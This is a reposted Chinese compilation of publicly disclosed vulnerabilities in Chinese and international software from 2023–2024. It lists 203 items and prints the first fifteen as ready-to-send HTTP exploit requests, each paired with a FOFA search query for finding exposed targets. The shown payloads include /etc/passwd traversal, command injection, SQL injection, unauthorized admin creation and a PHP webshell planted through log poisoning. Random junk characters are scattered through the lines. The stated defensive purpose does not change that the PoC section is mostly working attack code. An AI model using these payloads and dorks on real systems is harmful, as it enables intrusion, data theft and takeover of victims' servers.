互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
1 v7 u9 m8 N6 U/ q  @
! H3 Q6 t6 F* V4 b) R发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
# P# E. @: H5 q+ F5 h% A
0 U: b7 i: x% r漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

: `0 Q/ i: e3 U$ M2 m2 \$ U1 f. w8 y+ [安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
; o: m% A+ f+ b
* f7 V" H! M* D. d7 T4 W) U文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
9 E# ^( T3 ?" e) {0 i6 h: z5 W+ W5 L
+ ]  A- }% L. J: |合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

/ O$ h9 L7 D$ x" P6 q9 y
9 {/ G9 k! Z6 k3 @0 Q: w3 i$ T声明
2 Q* |' z1 K$ P+ x# L0 N$ j( M
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
' n; c$ O& U  {4 X


/ [: I+ v6 [+ [目录
. O* p8 Z3 M6 B6 v) m
01

% O) t- C4 e$ A) I, q. Z1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
1 U& F% _- y; `- `8 O, N2 K9 g  i3. EasyCVR智能边缘网关 userlist 信息泄漏
% J1 M6 Y% F! g8 g% [4. EasyCVR视频管理平台存在任意用户添加
; }3 k% @# i8 D8 L3 }# P2 K, W; b5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
$ _; r' |- M9 ?. e& Y7. 鸿运主动安全监控云平台任意文件下载
" K1 @# q( q- |9 m  M! e8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
! w8 I% e# a1 W5 }14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
, |& |" Y7 B3 O1 T3 m7 e16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
4 u% L0 d" X9 D2 O21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
+ E" B% s7 t+ {- {; n" s. i8 P23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
( R. d1 f- h, h1 f- J7 D% ]25. 用友NC registerServlet JNDI 远程代码执行
, }8 c( p. V. a. A' O5 w26. 用友NC linkVoucher SQL注入
+ n3 E3 k, @, }27. 用友 NC showcontent SQL注入
$ L& E$ b2 l0 \7 s28. 用友NC grouptemplet 任意文件上传
, D( Q& n% f, L/ ]: \29. 用友NC down/bill SQL注入
" ]/ n# a* A& V0 ~, B) R$ S30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
! M9 }% L% v1 n9 W% {3 i33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
  r2 I. J8 f$ D7 B% {, g8 L, J35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
# m. ^) [4 ^- v; c1 O; U37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
* }3 q7 b7 w, ?39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
9 R7 I: B* S; }! X+ b41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
1 V  C) u+ k9 Z& t! V: B) g6 k43. 用友GRP-U8 userInfoWeb SQL注入致RCE
. t7 Z5 s- P! s9 C$ E& y+ q44. 用友GRP-U8 bx_dj_check.jsp SQL注入
0 r5 E! K6 q1 W6 y& N& v/ ]& W0 D, V45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
- p2 W- R, Q; x47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
" b* J: A3 c6 Y! X$ P0 c50. QDocs Smart School 6.4.1 filterRecords SQL注入
3 ^. k" I" W( R" ]" Q51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
, g7 Z$ w- t! F! W2 G52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
3 }! R8 Z8 ^: F. x1 K, R55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
  s; E9 y7 Y9 ]7 N- z58. 畅捷通T+ KeyInfoList.aspx sql注入
8 d4 B' |, g* i; }. w" F( t59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
9 U2 i- W5 ]( ^; [61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
0 ~( _0 Q+ L2 h! s63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
& r4 p& u. u5 E4 I  I66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
6 t* ^+ |, G2 u70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
5 p* P, M3 C0 U" ?2 F% p75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
% g5 K" P2 L9 h! a6 F- [: T79. BYTEVALUE 百为流控路由器远程命令执行
* B4 b: e0 V7 O- H" N; g80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
8 D4 C$ d5 x% `) G( Q9 I81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
3 k% H' s& [+ e6 F: k5 w# y84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
8 [6 B: N# ?4 E; C86. 日本tosei自助洗衣机RCE
; E2 u3 m6 ^6 ~! u87. 安恒明御安全网关aaa_local_web_preview文件上传
. Q- ?) w& |3 `  q3 l4 }$ q7 W88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
- |1 D) M7 [. |. b' `89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
( F- G/ l5 E- N) N8 D91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
4 ?* R) X& F/ w& k- K$ m6 `92. 海康威视运行管理中心session命令执行
  l; c9 q7 O# U; ]% U8 U, R# {93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
$ P0 n" ]% h8 Q0 J/ a6 }6 W3 {98. SpiderFlow爬虫平台远程命令执行
& g9 X# x3 U. g. t) }99. Ncast盈可视高清智能录播系统busiFacade RCE
' ^. i+ U2 l1 r100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
! ^; Y9 N9 U3 Z/ T) x101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
7 u, o8 H. \; s, p( k103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
, Y8 o# H- L2 H107. SpringBlade tenant/list SQL 注入
" Y- z# K7 p* ^7 L- p) j; H& e: e108. D-Tale 3.9.0 SSRF
, C3 x$ S: I0 t0 s109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
* _/ o) J& G$ Q2 L114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
0 N! o3 d. v* }" k* n116. wordpress js-support-ticket文件上传
  n: Q/ N' j4 m' N4 `# \( K& x117. WordPress LayerSlider插件SQL注入
1 X8 i# [; H) S9 T- a) j  X118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
9 O4 k1 j4 O6 w+ D; J6 M7 ]% a120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
6 {$ O/ C/ o7 Z* r; Z# S124. 湖南建研工程质量检测系统任意文件上传
9 N! n; i7 x& s& t: m125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
7 l2 m9 x6 f. M128. Adobe ColdFusion 反序列化
: J0 V. i4 d3 W' A: f* V* {129. Adobe ColdFusion 任意文件读取
0 \: P! z9 O: C  E6 a130. Laykefu客服系统任意文件上传
, ^" L2 y3 o. i7 @) @& I131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
- ?1 k* w" |6 P$ ^- K7 S133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
& h- E) c& L' U- L& h- [! I2 Z136. NextChat cors SSRF
& x8 q8 N0 H; n& w/ G: G9 Z137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
6 i2 L5 g5 j, K: K' j6 u, U# I140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
% \: }  `1 S7 k- e141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
; L. W0 T9 a+ G) Z143. Netis WF2780 v2.1.40144 远程命令执行
$ Q& Y. \$ K2 N/ I144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
! B; @0 \: R- L# l+ h1 }/ `146. MajorDoMo thumb.php 未授权远程代码执行
$ Z" b( U. r* A- D147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
2 X9 |  P( N- c5 h. _+ I148. CrushFTP 认证绕过模板注入
& a& _* i5 k8 L- ~. U& u- \149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
7 m2 `- ~6 p# O152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
, I0 G0 n; R# e7 y) U! L154. 天维尔消防救援作战调度平台 SQL注入
8 ~6 r; B1 Y$ ?$ W" q& r5 x, C155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
+ X/ Y! |1 @3 r2 C8 Q" [+ G& {157. 美特CRM upload.jsp 任意文件上传
2 K, ^" O1 {" V  K158. Mura-CMS-processAsyncObject存在SQL注入
7 M- g4 E8 U1 e9 D159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
5 t/ t' z' _' d7 P4 h5 _" K" c160. Sonatype Nexus Repository 3目录遍历与文件读取
0 D# r& n& {/ U! }  K/ D161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
- C; L- U1 n8 a3 B8 b165. OrangeHRM 3.3.3 SQL 注入
2 r) u9 S0 u1 E8 G2 g166. 中成科信票务管理平台SeatMapHandler SQL注入
3 }9 [) R; B8 z8 H9 X* S# e- x167. 精益价值管理系统 DownLoad.aspx任意文件读取
* H& T5 ]% ^$ r! _2 u& M8 J! s( K168. 宏景EHR OutputCode 任意文件读取
' ~$ A5 n, I4 ]4 H: j169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
: K7 g; Z9 w# s% P& ~171. 通天星CMSV6车载定位监控平台 SQL注入
9 Q% O; U; p' p; @+ A/ n172. DT-高清车牌识别摄像机任意文件读取
$ E$ Y' h6 P7 S' H173. Check Point 安全网关任意文件读取
) P$ z3 I0 E( w/ J; h4 N% X174. 金和OA C6 FileDownLoad.aspx 任意文件读取
3 M* q  N4 O! B175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
- j' u& U  L8 Y5 N7 @  Y7 y- P* H4 f177. H3C路由器敏感信息泄露
1 ?( K, h3 ~: Y1 s178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
; e- }- C6 R" `: ~# W182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
, m* N8 r1 }, ~185. 瑞友天翼应用虚拟化系统SQL注入
0 G& C, v( a  l3 K+ P186. F-logic DataCube3 SQL注入
1 g6 }' ~. N' p# F/ H0 J8 R187. Mura CMS processAsyncObject SQL注入
( z7 O3 W2 n, u& c. r5 J! M& f188. 叁体-佳会视频会议 attachment 任意文件读取
7 ^1 `4 F9 @3 Z+ P0 R8 p2 X4 K189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
* w) e% z+ ?& \% G/ U; D192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
  h( w# [9 M5 l3 R! l196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
- t9 x2 I3 G4 O- y7 @* U199. cockpit系统assetsmanager_upload接口 文件上传
2 Q7 s* A7 p: Y2 D( e% d7 w" B. _200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
% D4 O; L8 Y7 o  P( X- N; g  t  T202. 微擎系统 AccountEdit任意文件上传
. T  S5 F, B( \5 R0 ~  M* ]203. 红海云EHR PtFjk 文件上传
' m3 I" Y3 H# A7 l  E
9 J9 y* J: S# T1 t4 ]% R3 UPOC列表
2 O* _$ W, R* V8 r! Y4 w$ j
' u% [' h/ k/ v) N' g02

1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
1 V. I, x' Q/ y# {) f0 |GET /mem_tracker HTTP/1.1
" H$ N8 V  H7 d1 m2 ?; g. `Host: URL
. e% m# [. i% ^! I9 p
5 ~- w4 ^+ B& [- g: U0 b
. Y& d% h9 O$ T  W% u. X2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
3 w+ N( I9 R! V, VHost: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
9 }6 j1 m* @& C: |( f5 jAccept: */*
Accept-Language: en
Accept-Encoding: gzip

' h% t) n# N1 _
, A6 n: Z! D1 S- \. y) y$ W( d* i3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx


4. EasyCVR视频管理平台存在任意用户添加
1 N- Q, f7 `' y! B  ^7 ^' LFOFA ：title="EasyCVR"

( l3 u3 Q; L# t5 ?password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
0 s" `7 f, F; P* M" |Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
3 T) p# X+ |) y- s7 e. v
$ o( M. w/ J) A2 i" qname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

+ ~3 N6 D, [1 o! }8 m
5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx


6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
) u5 g# S" h2 t' b: P
& b* X0 [6 U9 X' V# y! G
3 |1 z6 U# I: w6 `1 ^! W: I7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:


8. 斐讯 Phicomm 路由器RCE
) K# J" j/ T. N1 H$ C) \; a5 M* wFOFA：icon_hash="-1344736688"
7 G, N- v1 H( r+ p/ T8 q  o默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
% K+ a" [% l2 S1 b$ HCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
" `: |! X: P+ g% O
------WebKitFormBoundaryxbgjoytz
& C! ]( B8 q! JContent-Disposition: form-data; name="wifiRebootEnablestatus"

%s
( F$ r% S! c( B------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
( Z1 Y! e1 Z8 q: r2 D) T
( L* A  ~+ G; S3 M' `12:00; id;
4 Q: E6 @' r! N, H7 P$ U' _------WebKitFormBoundaryxbgjoytz
2 w: W$ V* p9 U  kContent-Disposition: form-data; name="wifiRebootendrange"

%s:
) g7 S. v$ W/ L/ ]------WebKitFormBoundaryxbgjoytz
7 k/ c; [/ j# O$ L4 wContent-Disposition: form-data; name="cururl2"
  s: ?$ G4 x  F) v  Q

0 E- o) R& u! `8 v3 _------WebKitFormBoundaryxbgjoytz--
2 ^! [# P3 d4 a+ @( X- n$ N9 y
; H. m; t' H2 c6 k# C* |( X
9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
7 V" N' [, J6 k" O3 g' V6 BGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x


7 Z4 m9 m9 n" |' Dpayload为下列语句的二次Url编码

' F4 g& P1 `8 f4 E! ]# |7 N& R1 M' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
$ V/ a6 x' Z  T* e  v8 {' B3 y7 M
. e" \) }* Y# U' y10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

, Y2 ^/ G% F# z) I( ?. z  ?0 r文件上传后响应中包含上传文件的路径
  m, l. S, S6 I! _9 W$ r' _" ~* wPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
0 S) ?, n3 Y6 x( u- AHost: x.x.x.x:xx
3 O+ O, y! }+ a4 Z) w. L. JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
$ |3 i& V( I& ^: _' d& l) nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
$ n. a5 i; I1 a+ Q/ ~Accept-Language: zh-CN,zh;q=0.9
, R! r' x+ q/ P8 Z+ DConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
- I. X+ H$ \3 H1 P: u, t+ t/ vContent-Type: text/html
0 o! ]& k1 G3 g+ {8 e, t
' H9 }- j/ l6 ?7 njmnqjfdsupxgfidopeixbgsxbf
# U+ k6 `$ h' x" x- s4 q/ q------WebKitFormBoundaryxdgaqmqu--
7 u4 r( Q8 ^* ?- A

11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
) `4 ^# a3 v1 P8 sHost: 127.0.0.1
3 Q' Z% s$ N  i) N" B& @Pragma: no-cache
: m' |) Y( N# R; y! T% b, WCache-Control: no-cache
! W; k0 {8 O2 p4 ~- U+ YUpgrade-Insecure-Requests: 1
4 |1 t0 g! Y2 f- ~: C  b8 _( BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
# `2 {3 L- S* E- c/ jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ A7 v4 Y( c  A, P9 L6 hAccept-Encoding: gzip, deflate
# n( T6 B9 t$ C% wAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
( S% O# _5 }( C4 @$ M, _Connection: close

$ V( m' A5 E* N7 P4 }% C$ R
% N$ k( `" M8 Q' @  g# T12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
4 H3 E9 {0 R! J# L1 i4 gGET /session/login HTTP/1.1
Host: 192.168.190.30
% y7 ?, h, {7 ~' k( Y# TUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip
4 N6 Q+ J. ?$ G9 D9 d: Z" p8 ]
3 `% @4 o' f# `$ q
6 q0 U( k/ ~! A0 p. Q5 F响应中csrf_cookie_jorani用于后续请求
) T- s/ W, R: V  l: YHTTP/1.1 200 OK
6 Y# T/ K9 G, `, m3 YConnection: close
; e" m0 g1 E2 M6 T1 aCache-Control: no-store, no-cache, must-revalidate
' X# D$ [  h& W  ^0 G: eContent-Type: text/html; charset=UTF-8
  o% Q5 m" x: ?/ J; j  e5 pDate: Tue, 24 Oct 2023 09:34:28 GMT
3 ?* `0 W0 O( G8 e' ?5 J) J* SExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
% b, l0 m3 I$ Z. lServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
+ Z  W! m( w" E' OSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
+ R8 O5 Z* D8 b$ d; |0 V3 S
' f- u, n6 L, w6 I* x: ?/ q4 L
* D7 S" @+ I3 [7 b, _0 ~  bPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
0 {6 x7 L! y$ `6 }Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
# B6 I+ z6 k* |Connection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
1 f9 k" A  G3 J4 P7 f# jAccept-Encoding: gzip
' q' z# g  D. ]* k+ x  w: \
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor


) H& f3 S% V$ a( o+ N; g, J
; s) \5 q1 ^3 J! e; M向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
5 Q! M' k% p$ F( s' f, xHost: 192.168.190.30
1 @3 l  f2 \- h% ]& c4 [" HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
5 }2 T2 ]6 d/ W1 g$ FCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
/ _; ?+ |. k9 J/ ]7 d, Y9 b, y/ OK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip


13. 红帆iOffice ioFileDown任意文件读取
' Z0 X) P7 e# [' [1 j4 }8 P2 hFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
* F! L0 c5 u% N/ k5 s; }6 Z& pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
6 k$ P4 ?; x2 C+ HConnection: close
Accept: */*
Accept-Encoding: gzip

; D' I2 r( o7 I% g
$ s% h1 p; M& ~9 h14. 华夏ERP（jshERP）敏感信息泄露
; l/ `8 m% P& f2 }& v, I3 ^2 CFOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
! T9 a" H6 O9 y- DHost: x.x.x.x
9 U7 {  o, d# j9 c1 G1 N0 bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
) T" Q& E3 ^- z+ U, U: R9 _; wConnection: close
Accept: */*
Accept-Language: en
3 E2 g& ]6 X* nAccept-Encoding: gzip

: ?+ S. M7 u( {/ B. n" ~
15. 华夏ERP getAllList信息泄露
+ z" l0 t, }0 NCVE-2024-0490
9 T2 M& Q0 P$ k& T; b2 f1 N/ rFOFA：body="jshERP-boot"
泄露内容包括用户名密码
$ ]6 X3 |( q4 ]" K9 LGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
